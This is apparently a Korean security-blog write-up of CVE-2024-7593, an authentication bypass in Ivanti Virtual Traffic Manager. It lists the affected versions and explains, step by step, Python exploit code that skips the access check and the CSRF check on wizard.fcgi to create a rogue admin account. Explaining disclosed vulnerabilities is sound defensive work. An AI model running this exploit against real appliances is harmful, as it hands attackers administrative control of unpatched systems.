[하루한줄] CVE-2024-7593: Ivanti Virtual Traffic Manager (vTM)의 관리자 계정 생성으로 인한 Authentication Bypass 취약점
URL
- Security Advisory: Ivanti Virtual Traffic Manager (vTM ) (CVE-2024-7593)
- Ivanti ADC 9.9 Authentication Bypass
Target
- Ivanti Virtual Traffic Manager 22.2, 22.3, 22.3R2, 22.5R1, 22.6R1, 22.7R1
Explain
Ivanti Virtual Traffic Manager (vTM)은 소프트웨어 기반의 Application Delivery Controller(ADC)로 클라우드 및 가상 환경에서의 로드밸런싱과 애플리케이션 딜리버리 기능을 제공합니다.
CVE-2024-7593은 vTM에 임의의 관리자 계정을 생성하는 취약점으로 CVSS 9.8을 받았습니다.
params = {
'error': 1,
'section': 'Access Management:LocalUsers'
}
data = {
'_form_submitted': 'form',
'create_user': 'Create',
'group': 'admin',
'newusername': new_admin_name,
'password1': new_admin_password,
'password2': new_admin_password
}
r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False)
파라미터 error
를 1
로 설정하여 wizard.fcgi
의 Access Control을 우회할 수 있고 section
파라미터를 통해 계정 생성을 위한 섹션을 로드합니다. 리퀘스트의 data에는 CSRF 방지 우회를 위한 _form_submitted
필드에는 form
으로 설정하고, 계정 생성을 의미하는 create_user
필드에 Create
를 넣어줍니다. 그리고 나머지 관리자 계정 생성을 위한 정보들을 넣고 post 요청을 보냅니다.
content = r.content.decode('utf-8')
print(content)
if r.status_code == 200 and '<title>2<' in content:
print("New user request sent")
print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'")
else:
print("Unable to create new user")
리스폰스를 통해 계정 생성이 정상적으로 수행했는지 확인 후 생성한 계정을 사용하면 로그인이 가능합니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.